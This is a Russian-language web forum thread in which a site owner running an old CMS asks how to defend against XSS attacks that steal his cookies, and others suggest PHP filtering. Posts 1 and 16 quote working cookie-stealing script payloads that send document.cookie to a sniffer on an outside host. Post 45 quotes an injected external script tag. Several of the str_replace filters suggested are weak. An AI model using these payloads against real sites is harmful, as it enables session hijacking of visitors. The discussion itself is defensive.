Безопасность от тега script !

1. makc-666 (30.12.2008 / 03:46)
У меня такая проблемка, есть файл в творчестве мотора 15.9 юзер сити add.php и через него мне вставляют код <script>img = new Image(); img.src = "ссылка на снифак"+ document.cookie;</script> и варуют куки мои и шелл заливают ... Как обезопасится подскажите ?

2. Удаленный (30.12.2008 / 04:00)
check($msg);
$msg = str_replace('<','',$msg);
htmlspecialchars($msg);
И т.д. вариантов уйма

3. Удаленный (30.12.2008 / 09:54)
Ну фильтруй переменную на теги < >

4. Tony V (30.12.2008 / 10:24)
1, обновляй мотор до последней версии. И всё ок

5. Влад (30.12.2008 / 10:28)
4# я с тобой е согласен, ведь есть и люди с 16 мотором и че им обновлять до 18? гг

6. Arab (30.12.2008 / 12:01)
5, в 16й версии нельзя разве просто check($msg); сделать?

7. Arab (30.12.2008 / 12:42)
спрошу тут же. На одной странице я пишу код с мотора:
<?
function check($message){
$message=str_replace("I","I",$message);
$ message=str_replace(";","",$message);
$message=htmlspecialchars($ message);
$message=stripslashes(trim($message));
return $message;  }
и под ней пишу так
$message=check($message); но переменная не фильтруется. почему?

8. makc-666 (30.12.2008 / 13:11)
rаmzes а в каком месте этот код писать ?

9. makc-666 (30.12.2008 / 18:08)
Я знаю что в файле add.php а где поточнее ?

10. Arab (30.12.2008 / 18:25)
выше записывающих строк
Если не понял то пробуй на самом верзу под шапкой(под инклудами)

11. makc-666 (30.12.2008 / 18:58)
Попробовал вставить код, всё равно не помогает ... Подскажите как его вставить и куда ?

12. Arab (30.12.2008 / 20:05)
тогда пиши там под шапкой это
$msg = str_replace('<','',$msg);
$msg = str_replace('./','',$msg);
$msg = str_replace("'","",$msg);
$msg = str_replace('"','',$msg);
$msg = str_replace('>','',$msg);
$msg = str_replace(';','',$msg);
везде вместо $msg пишешь ту переменную которую хочешь фильтравать
если не получится то по середине !

13. makc-666 (30.12.2008 / 20:29)
тоесть <script> вместо $msg

14. Дмитрий (30.12.2008 / 21:17)
htmlspecialchars читай про функцию там уже хорошо будет)

15. Удаленный (30.12.2008 / 21:30)
14 $мсг а не <скрипт>
переменная какая?
<инпут тайп="техт" нейм="здесь что написанно?" >

16. makc-666 (31.12.2008 / 07:00)
Можно проверять и так:http://site.ru/addkomm.php?msg="><script>alert('XSS')</script>Если алерт выполнится - есть XSS[цитата] Теперь нам ничего не мешает дать серверу на исполнение скрипт вписав его в поле ввода комментария:"><script>img=new Image(); img.src="http://voland-city.ru/ps/s.gif?"+document.cookie</script>или же приписать скрипт в URLhttp://site.ru/addkomm.php?msg="><script>img=new Image(); img.src="http://voland-city.ru/ps/s.gif?"+document.cookie</script>[цитата] В данном случае, нам остается только зайти в лог сниффера и ждать, пока в нем отобразятся cookies юзеров, посетивших зараженную гостевую. Как мне вот от этого обезопасится, подскажите ? Что прописать то ?

17. Studentsov (31.12.2008 / 10:45)
В 15.9 9 дырок smile

18. makc-666 (31.12.2008 / 11:54)
Ангел Смерти озвуч как закрыть ?

19. Studentsov (31.12.2008 / 11:58)
Руками... 7 из 9 XSS, одна инклуд, еще одна даже без категории smile 5 из дыр в папке games

20. Arab (31.12.2008 / 17:52)
На одной странице я пишу код с мотора:
<? 
function check($message){ 
$message=str_replace("I","I",$message); 
$message=str_replace(";","",$message); 
$message=htmlspecialchars($message); 
$message=stripslashes(trim($message)); 
return $message; } 
и под ней пишу так
$message=check($message); но переменная не фильтруется. почему?

21. Studentsov (31.12.2008 / 18:13)
Что именно не фильтруется? Или вообще не пашет?

22. Arab (31.12.2008 / 18:43)
вообще не пашет. Например точку с запятой ; не вырезает

23. Lugaro (31.12.2008 / 18:49)
23 поробуй перед ; поставь \
-- хотя х3 это чисто догадки ыы (:

24. Удаленный (31.12.2008 / 19:03)
function check($message){
$message=str_replace("\"","",$message);
$message=str_replace(">","",$message);
$message=str_replac e("<","",$message);
$message=htmlspecialchars($message);
&# 36;message=str_replace("'","",$message);
$message=str_replace(&qu ot;\"","",$message);
$message=str_replace("\$", "",$message);
$message=str_replace("$","",$message) ;
$message=str_replace("\\","", $message);
$message=str_replace("","", $message);
$message=str_replace("%","", $message);
$message=stripslashes(trim($message));
return $message;
}
или у меня арбуз глючит или у тебя между функция и чек, пробела нет

25. Arab (31.12.2008 / 19:43)
пробел есть. странно я вроде скопировал с моторовского functions.php

26. makc-666 (02.01.2009 / 12:38)
Кто нить за денежки поможет дырки закрыть ? Пишите в приват...

27. Arab (02.01.2009 / 13:52)
27, все дыры всеравно не закроют и потом будешь жаловаться что ты заплатил

28. Удаленный (02.01.2009 / 14:27)
если все дырки закроешь то какать не сможешь

29. Удаленный (02.01.2009 / 15:25)
26 а пример как применяешь? в каком месте?

30. Arab (02.01.2009 / 18:15)
30, например в госте в add.php фиьтруют же $мсг = хтмлспецчарс($мсг);
вот вместо этого ставлю эту вантузовскую функцию

31. Удаленный (02.01.2009 / 22:52)
а там же стр реплейсом если например / слеш вырезать пашет? если пашет значит ошибка в функции.

32. Arab (06.01.2009 / 14:03)
А теперь в эту функцию не могу добавить htmlspecialchars();
выдает ошибку
htmlspecialchars() expects parameter 1 to be string, array given in Z:\home\test1.ru\... (

33. Удаленный (06.01.2009 / 15:21)
могу пшибится но вроде ругается на то что не строка а массив обрабатывается функцией

34. Arab (06.01.2009 / 15:24)
34, ага, справился. я тупо каждую переменную обрабатывал

35. Arab (07.01.2009 / 13:46)
еще вопросик. Например такой путь
<?
$fp=fopen("$maindir/forum/data/users/$login.log","r+" );
я пишу так
<?
$fp=fopen(''.check($maindir).'/forum/data/users/'.chec k($login.log).'','r+');
Будет ли от этого какая нить польза и прально ли написал?

36. Удаленный (15.01.2009 / 20:39)
Подобную шляпу выкиньте в топку нах...
$msg = str_replace('<','',$msg);
$msg = str_replace('./','',$msg);
$msg = str_replace("'","",$msg);
$msg = str_replace('"','',$msg);
$msg = str_replace('>','',$msg);
$msg = str_replace(';','',$msg);
Достаточно сделать так против XSS:
[code]
<?php
$message = htmlspecialchars($message, ENT_QUOTES);
?>
[/copy]
А всякие вырезания знаков str_replece'ом - в топку!
Нужно вырезать только ту последовательность знаков, которая используется в качестве разделителя в файлах (это в случае, если данные хранется НЕ в БД, а в файлах!).

37. Удаленный (15.01.2009 / 20:41)
Мля...
<?php
$message = htmlspecialchars($message, ENT_QUOTES);
?>


38. Удаленный (16.01.2009 / 01:33)
хтмлспециалчарс не всегда применим. иногда надо разрешить выполнение каких ни будь тегов например. + <бр> вылазиет вместо переноса строки.
а че дает энд квотс? а то я че то не вникал.

39. Удаленный (16.01.2009 / 01:43)
Ну а striptags ?

40. Удаленный (16.01.2009 / 01:49)
$msg=striptags($msg,"<script>");
#39,
ENT_QUOTES - разрешить трансляцию любых кавычек
ENT_NOQUOTES - запретить трансляцию любых кавычек

41. Удаленный (16.01.2009 / 07:54)
39, Что мешает сначало применить htmlspecialchars(), а потом nl2br() ?
И переносы заменятся на <br/> и строка приведётся к HTML эквивалентам....

42. Александр (16.01.2009 / 09:34)
39,ее можна обмануть((

43. Александр (16.01.2009 / 09:36)
Ошибся 39*-40

44. Удаленный (16.01.2009 / 13:26)
44,Как? ded

45. Сергей (16.01.2009 / 14:31)
кстати... я поймал на комп вирус и он во все файлы index.php в самом низу прописал вот это <script src="http://www.52cps.com/img/ccs.js"></script> от вируса я избавился переустановкой винды. опасен ли этот тег если файл с ним находится в компе?

46. Александр (16.01.2009 / 14:43)
45,есле будыт какие нибудь ошибки в тэгах то он вобще весь текст не отфильтрует//46,есле не будиш переходить

47. Сергей (16.01.2009 / 14:46)
47, спасибо! +1

48. Удаленный (17.01.2009 / 17:05)
49. xaxa убил

49. Александр (17.01.2009 / 19:05)
49, хаха я и не заметил Гг

URL: https://visavi.net/topics/588